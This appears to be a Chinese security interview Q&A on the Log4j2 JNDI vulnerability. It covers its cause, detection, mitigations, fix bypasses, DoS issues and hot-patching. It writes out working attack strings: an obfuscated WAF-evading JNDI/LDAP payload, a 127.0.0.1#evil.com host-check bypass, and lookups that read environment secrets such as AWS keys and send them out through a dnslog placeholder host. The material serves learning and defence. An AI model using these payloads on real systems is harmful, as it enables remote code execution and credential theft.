Log4j2

谈谈Log4j2漏洞(★★)

漏洞原理其实不难,简单来说就是对于${jndi:}格式的日志默认执行JndiLoop.lookup导致的RCE。日志的任何一部分插入${}都会进行递归处理,也就是说log.info/error/warn等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的绕过比较有趣

Log4j2漏洞的黑盒检测(★)

由于该漏洞的特性,必须要出网才可以检测,例如dnslog的方式

在内网中也可不使用dnslog而是自行实现伪JDNI/LDAP的服务端用于探测

Log4j2漏洞的白盒检测(★)

检查pom.xmlgradle中的依赖,是否存在log4j2-apilog4j2-core小于2.15.0则存在漏洞

Log4j2的紧急修复手段(★★)

在JVM参数中添加-Dlog4j2.formatMsgNoLookups=true

系统环境变量中将LOG4J_FORMAT_MSG_NO_LOOKUPS设置为true

创建log4j2.component.properties文件并增加配置log4j2.formatMsgNoLookups=true

不重启应用情况下的修复手段参考另一个问题

知道Log4j2 2.15.0 RC1修复的绕过吗(★★★)

修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了LDAP等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续lookup所以如果在URL中加入一些特殊字符,例如空格,即可导致异常绕过HOSOT限制,然后lookup触发RCE

Log4j2的两个DOS CVE了解吗(★★)

其中一个DOS是lookup本身延迟等待和允许多个标签${}导致的问题

另一个DOS是嵌套标签${}递归解析导致栈溢出

Log4j2 2.15.0正式版的绕过了解吗(★★★)

正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用127.0.0.1#evil.com即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功

Log4j2绕WAF的手段有哪些(★★)

使用类似${::-J}的方式做字符串的绕过,还可以结合upperlower标签进行嵌套

有一些特殊字符的情况结合大小写转换有巧妙的效果,还可以加入垃圾字符

例如:${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}

Log4j2除了RCE还有什么利用姿势(★★★)

利用其他的lookup可以做信息泄露例如${env:USER}${env:AWS_SECRET_ACCESS_KEY}

SpringBoot情况下可以使用bundle:application获得数据库密码等敏感信息,不过SpringBoot默认不使用log4j2

这些敏感信息可以利用dnslog外带${jndi:ldap://${java:version}.xxx.dnslog.cn}

不停止运行程序如何修复Log4j2漏洞(★★★)

利用JavaAgent改JVM中的字节码,可以直接删了JndiLookup的功能

有公众号提出类似ShiroKey的思路,利用反射把JndiLookup删了也是一种办法